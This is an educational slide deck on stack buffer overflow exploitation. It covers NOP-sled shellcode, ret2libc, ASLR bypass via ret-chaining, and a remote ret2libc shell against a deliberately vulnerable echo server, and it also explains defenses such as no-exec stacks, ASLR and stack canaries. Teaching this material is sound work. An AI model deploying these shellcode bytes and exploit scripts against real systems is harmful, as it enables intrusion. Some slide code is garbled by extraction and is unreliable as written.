Exploiting Software: Stack Smashing in the Modern World

Nelson Elhage

January 9, 2008
Smashing The Stack For Fun And Profit
   A vulnerable program
   The calling convention
   Shellcode
   Putting it together

Countermeasures
   No-exec Stack
   Address-Space Layout Randomization
   Stack guards

Putting it together: A “Real” Example
   The challenge
   Step 1: Get Offsets
   Step 2: Find libc
   Step 3: Get a shell!
Smashing The Stack For Fun And Profit

A vulnerable program
The calling convention
Shellcode
Putting it together

Countermeasures
No-exec Stack
Address-Space Layout Randomization
Stack guards

Putting it together: A “Real” Example
The challenge
Step 1: Get Offsets
Step 2: Find libc
Step 3: Get a shell!
A vulnerable program

```c
#include <stdio.h>
#include <stdlib.h>

void say_hello(char * name) {
    char buf[128];
    sprintf(buf, "Hello, %s!\n", name);
    printf("%s", buf);
}

int main(int argc, char ** argv) {
    if(argc >= 2)
        say_hello(argv[1]);
}
```
The x86 calling convention

- `%esp` is the stack pointer
- Stack grows down (hardware behavior)
- Arguments on the stack, in reverse order
- `%ebp` is the “frame pointer”, and points to the top of a function’s stack frame
- Return value in `%eax`
foo(1, 2, 3);

pushl $3
pushl $2
pushl $1
call foo
The prologue and epilogue

```
foo:
pushl %ebp
movl %esp, %ebp
subl $<local space>, %esp
...
movl %ebp, %esp
popl %ebp
ret
```
The Stack

higher addresses $\uparrow$

<table>
<thead>
<tr>
<th>...</th>
</tr>
</thead>
<tbody>
<tr>
<td>argument 2</td>
</tr>
<tr>
<td>argument 1</td>
</tr>
<tr>
<td>argument 0</td>
</tr>
<tr>
<td>return address</td>
</tr>
<tr>
<td>Saved frame pointer $\leftarrow %ebp$</td>
</tr>
<tr>
<td>Local variables $\leftarrow %esp$</td>
</tr>
<tr>
<td>(Last local)</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>

stack grows $\downarrow$
### say_hello stack

<table>
<thead>
<tr>
<th>higher addresses ↑</th>
<th>...</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>main’s stack frame</strong></td>
<td></td>
</tr>
<tr>
<td>Return address</td>
<td></td>
</tr>
<tr>
<td>old %ebp</td>
<td>← %ebp</td>
</tr>
<tr>
<td>buf (128 bytes)</td>
<td></td>
</tr>
</tbody>
</table>

If we write past the end of `buf`, we can trash the return address!
Getting a shell

- For the sake of example, we'll just get the target to call `/bin/sh`.
- Use the raw `execve` system call
- `execve(char *file, char ** argv, char ** envp)`
- `execve("/bin/sh", ["/bin/sh", NULL], NULL)`
Linux system call convention

- System calls are software interrupt 0x80
- System call number in %eax
- Up to 6 arguments in %ebx, %ecx, %edx, %esi, %edi, %ebp
- Return value in %eax
- Syscall number for execve (\_\_NR\_execve from /usr/include/asm-i386/unistd.h) is 11
Writing shellcode

- Needs to be position-independent
  - Store data on the stack
- Must not contain NULs
  - Use alternate instructions
  - `movl $0, %eax ⇒ xorl %eax, %eax`
  - `movl $0x0b, %eax ⇒ movb $0x0b, %al`
### Shellcode stack

<table>
<thead>
<tr>
<th>...</th>
<th>← %ebx</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;/bin/sh&quot;</td>
<td>← %ecx, %esp</td>
</tr>
<tr>
<td>NULL</td>
<td></td>
</tr>
</tbody>
</table>
Shellcode

```
movl $0x68732f32,%eax  // " /sh"
shr $8,%eax           // shr to "/sh\0"
pushl %eax
pushl $0x6e69622f    // "/bin"

movl %esp, %ebx       // %ebx <- "/bin/sh"
xorl %edx, %edx       // %edx <- 0
pushl %edx
pushl %ebx
movl %esp, %ecx      // %ecx <- <argv>

movl %edx, %eax
addb $0x0b, %al      // %eax <- __NR_execve

int $0x80             // syscall
```
$ gcc -c shellcode.S
$ objdump -S shellcode.o

...  

00000000 <shellcode>:
 0:  b8 32 2f 73 68  mov $0x68732f32,%eax
 5:  c1 e8 08  shr $0x8,%eax
 8:  50  push %eax
 9:  68 2f 62 69 6e  push $0x6e69622f
 e:  89 e3  mov %esp,%ebx
10:  31 d2  xor %edx,%edx
12:  50  push %edx
13:  53  push %ebx
14:  89 e1  mov %esp,%ecx
16:  89 d0  mov %edx,%eax
18:  04 0b  add $0xb,%al
1a:  cd 80  int $0x80
So the plan is:

<table>
<thead>
<tr>
<th>...</th>
<th>← Return address</th>
</tr>
</thead>
<tbody>
<tr>
<td>pointer to buf</td>
<td>← buf</td>
</tr>
<tr>
<td>shellcode</td>
<td></td>
</tr>
<tr>
<td>NOPs</td>
<td></td>
</tr>
</tbody>
</table>

We put NOP instructions (0x90) before the shellcode to give us some space for error.
#!/usr/bin/perl
my $shellcode = "\xb8\x32\x2f\x73\x68\xc1"
  . "\xe8\x08\x50\x68\x2f\x62\x69"
  . "\x6e\x89\xe3\x31\xd2\x52\x53"
  . "\xe1\xe9\xc0\x04\x0b\xcd\x80"
  . ("\x90" x 20);

my $landing = hex(\`./getsp\`) - 200;

my $buffer = ("\x90" x 132
  - length($shellcode)
  - length("Hello, "))
  . $shellcode;
buffer .= pack("V", $landing);

exec("./hello", $buffer);
```
#include <stdio.h>

int main() {
    unsigned int esp;
    __asm__("movl %%esp, %0" : "=r"(esp));
    printf("0x%08x", esp);
    return 0;
}
```
Demo
Smashing The Stack For Fun And Profit
A vulnerable program
The calling convention
Shellcode
Putting it together

Countermeasures
No-exec Stack
Address-Space Layout Randomization
Stack guards

Putting it together: A “Real” Example
The challenge
Step 1: Get Offsets
Step 2: Find libc
Step 3: Get a shell!
Non-executable stack

- The attack depended on executing code on the stack
- (Most) Normal programs will never do this
- So why don’t we disallow it?
- (Requires hardware support)
Demo
New plan

We don’t need to run our own code

hello links libc

system() can spawn /bin/sh for us

Get say_hello to return there instead

Arguments on the stack – we can fake those!
system()

- Find the address of system()

$ gdb hello
...
(gdb) b main
Breakpoint 1 at 0x80483ea
(gdb) run
Starting program: hello

Breakpoint 1, 0x080483ea in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7ebfd80 <system>
(gdb)
```perl
#!/usr/bin/perl
my $shell = " /bin/sh; " . "x60);
my $shelladdr = hex(`./getsp`) - 250;
my $system = 0xf7ebfd80;

my $buffer = (" " x (132
  - length($shell)
  - length("Hello, "))
  . $shell;
$buffer .= pack("V", $system);
$buffer .= "A" x 4;  # Fake return addr
$buffer .= pack("V", $shelladdr);

exec("./hello", $buffer);
```
Demo
Both attacks depended on us being able to guess the address of `buf`

- `ret2libc` needed the address of `system`
- Correct programs won’t depend on the specific stack location
- The dynamic linker can resolve `system` references
- So how about we randomize addresses?
- (As a plus, this doesn’t need hardware support)
Demo
We need to guess two addresses
  ▶ system()
  ▶ buf

Approx. 10 bits of randomness in each (more in the stack)
We can guess one; Guessing both concurrently is too slow.
Playing games with the stack

\[
\begin{array}{c|c}
\ldots & \\
(addresss) & \\
(pointer to ret) & \leftarrow \%esp \\
\end{array}
\]

Execute a ret
Playing games with the stack

... (address) ← %esp

And we ret again.
If there is a pointer to data we control at any known offset into the stack, we don’t have to guess buf!

| ... |
| (pointer to data) |
| (padding) |
| pointer to system() |
| (pointer to ret) |
| ... |
| (pointer to ret) |
| ... |
| buff |

← say_hello return address
← %ebp
int main(int argc, char ** argv)

Kernel stores argv on the stack

Put "/bin/sh" in argv[2]
Find the offset

$ gcc -o hello -g hello.c
$ gdb hello
(gdb) b say_hello
Breakpoint 1 at 0x80483ad: file hello.c, line 6.
(gdb) run
Breakpoint 1, say_hello (name=0x0) at hello.c:6
6    sprintf(buf, "Hello, %s!\n", name);
(gdb) up
#1  0x0804840b in main at hello.c:12
12    say_hello(argv[1]);
(gdb) p ((unsigned)argv - (unsigned)$esp)/4
$1 = 45
Find a ret

$ objdump -S hello | grep ret
 80482ae:       c3        ret
...

Even with ASLR, program code is loaded at a fixed address.
Put it all together

- `argv[1]` should contain enough to overflow `buf`, and then 46 copies of `0x80482ae`, and then the address of `system()`
- `argv[2]` should contain “/bin/sh”
- Guess `system()` is at the old address, and repeat until we’re right.
  - libc is always loaded with the same page-alignment
my $reta = 0x80482ae;
my $padding = 45 + 1;
my $system = 0xf7ebfd80;

my $buffer = "x(128+4 - length("Hello, "));
$buffer .= pack("V", $reta) x $padding;
$buffer .= pack("V", $system);

while(1) {
    system("./hello", $buffer, "/bin/sh");
}
Demo
Stack Guards

- Attacks so far depend on overwriting the return address on the stack
- Can we protect it from modification?
- If not, can we detect modification at runtime?
Stack Canaries

- Insert a known value between a function’s locals and its return address
- Known as a “canary”
- At return, check the value
- If it’s changed, something’s wrong!
... arguments
return address
saved %ebp
canary value
frame locals

← %ebp
Canary types

- Two common kinds of canaries
- Terminator canaries
  - StackGuard – 0x000aff0d
- Random canaries
gcc -fstack-protector

- New in gcc 4.1
- Enabled by default in Ubuntu
- gentoo has a USE flag
- Uses a randomized canary
- Reorders stack variables and arguments
Reordering stack variables

- Don’t just have to worry about overwriting return address
- Put buffers above other stack variables in memory
- Copy arguments onto stack frame
Reordering example

```c
int foo(int x, int * y) {
    char buf[100];
    int a, b;
    char buf2[10];
    short c;
    ...
}
```
<table>
<thead>
<tr>
<th>...</th>
</tr>
</thead>
<tbody>
<tr>
<td>y</td>
</tr>
<tr>
<td>x</td>
</tr>
<tr>
<td>return address</td>
</tr>
<tr>
<td>saved %ebp</td>
</tr>
<tr>
<td>canary</td>
</tr>
<tr>
<td>buf</td>
</tr>
<tr>
<td>buf2</td>
</tr>
<tr>
<td>a</td>
</tr>
<tr>
<td>b</td>
</tr>
<tr>
<td>c</td>
</tr>
<tr>
<td>x copy</td>
</tr>
<tr>
<td>y copy</td>
</tr>
</tbody>
</table>
No-exec Stack
Address-Space Layout Randomization
Stack guards

08048404 <say_hello>:

push %ebp
mov %esp,%ebp
sub $0xa8,%esp // Normal prologue
mov 0x8(%ebp),%eax
mov %eax,0xffffffff6c(%ebp) // Copy name
mov %gs:0x14,%eax
mov %eax,0xfffffffc(%ebp) // Save canary
...
mov 0xfffffffffc(%ebp),%eax
xor %gs:0x14,%eax // Check canary
je 8048468 <say_hello+0x64>
call 8048348 <__stack_chk_fail@plt> // It's a hack!
leave
ret

Nelson Elhage
Exploiting Software: Stack Smashing in the Modern World
Outline
Smashing The Stack For Fun And Profit
Countermeasures
Putting it together: A “Real” Example

No-exec Stack
Address-Space Layout Randomization
Stack guards

Demo
Separate the stacks

- Another plan: Use two stacks
- Put return addresses on one, locals on another
- Mostly used in research projects at this point
StackShield

- Preprocessor to gcc-generated assembly
- Save return addresses into a reserved area in the heap
- Restore them before return
- Doesn’t protect anything else
- Not widely used
Microsoft Research
- Uses two stacks
  - “Scoped Stack” – managed in a strict manner
  - “Allocation stack” – used for data accessed through pointers
- Lots of other clever techniques
- Research project, Windows only
Breaking Stack Protection

- No single technique
- Even if we can’t get at the return address, we have options
  - With some systems we can still control %ebp ⇒ control %esp when the next frame returns
  - Overwriting local variables is still powerful
  - Even overflowing 1 byte is sometimes enough!
- Requires a solid understanding of the gritty details of the compiler, linker, runtime, kernel...
In Conclusion

- No stack protection system can defeat all attacks
- But you can slow them down
- And they’re even more effective in combination
Last time I gave this talk I put up a challenge
  - A simple vulnerable echo server
I’m going to show you my solution
Uses several of the tricks I’ve mentioned
Works with ASLR and no-exec stack
Forking echod server
- Closes all fds, does `socket()`, `bind()`, `listen()`, `accept()`
- Calls `handle_request` on the fd
- (Full source online)
void handle_request(int fd, 
               struct sockaddr_in *addr, 
               int addrlen) {
    char buff[100];
    ssize_t bytes;

    /* oops! 100 != 200 ! */
    bytes = read(fd, buff, 200);
    write_log("[%d] read %d bytes from %s", 
              time(NULL), bytes, 
              inet_ntoa(addr->sin_addr));
    write(fd, buff, bytes);
}
Some observations

- `fd` is always `fd 1` (server socket is 0)
  - If we just `system()`, stdout will go back over the socket, but we can’t get at stdin
- `fork()` means every instance has the same libc offsets
Chaining ret2libc

- We can overwrite more of the stack, and chain calls into libc functions
- Cause echod to execute `dup2(1,0); system("/bin/sh")`
- Use a "/bin/sh" from libc itself so we only have to guess one offset!
Our stack

```
...  
"/bin/sh"
(dummy rv)
  system()
  0
  1
dup2 ret
  dup2()
```
dup2’s ret

- Where does `dup2` return to?
- Can’t return directly to `system()` (or we’ll call `system(0)`
- Find code in libc that does `pop; pop; ret`
Functions

- Get a copy of hackme's libc

```
[nelhage@phanatique (sid):~]$ objdump -T /lib/i686/nosegneg/libc.so.6 | egrep ' (usleep|dup2|system)'
000c5d90  w  DF .text  00000043  GLIBC_2.0  dup2
00038360  w  DF .text  0000007d  GLIBC_2.0  system
000ce9f0  g  DF .text  0000003e  GLIBC_2.0  usleep
```
Others

$ objdump -S libc.so.6 | grep -B2 ret | head
  15e5d: 5e pop %esi
  15e5e: 5d pop %ebp
  15e5f: c3 ret
...

$ objdump -s libc.so.6 | grep /bin/sh
  12b110 ... -c./bin/sh.exit
- libc is at a constant offset for every run
- Search for `usleep` with a small argument
- If the connection hangs, we’ve found it.
findlibc.pl

... $buffer = "x" x 112 . pack("VV", $reta, $sleep);
socket->syswrite( $buffer, length($buffer) )

$s = IO::Select->new;
$s->add($socket);
my @s = $s->can_read(1);

if(!scalar @s) {
    printf "probable usleep at 0x%08x, ", $reta;
    printf "libc at 0x%08x\n", $reta - $delta;
}
...
my $libc = 0xb7db7000;

my $ret = $libc + 0x116c5d;
my $dup2 = $libc + 0x0c5d90;
my $poppopret = $libc + 0x015e5d;
my $system = $libc + 0x038360;
my $binsh = $libc + 0x12b113;

my $stack = join("", map {pack("V", $_)}
    ($ret, $dup2, $poppopret,
     1, 0, $system, 0xAAAAAAAAA,
     $binsh));
Run it!

- Demo
Questions?

http://stuff.mit.edu/iap/exploit/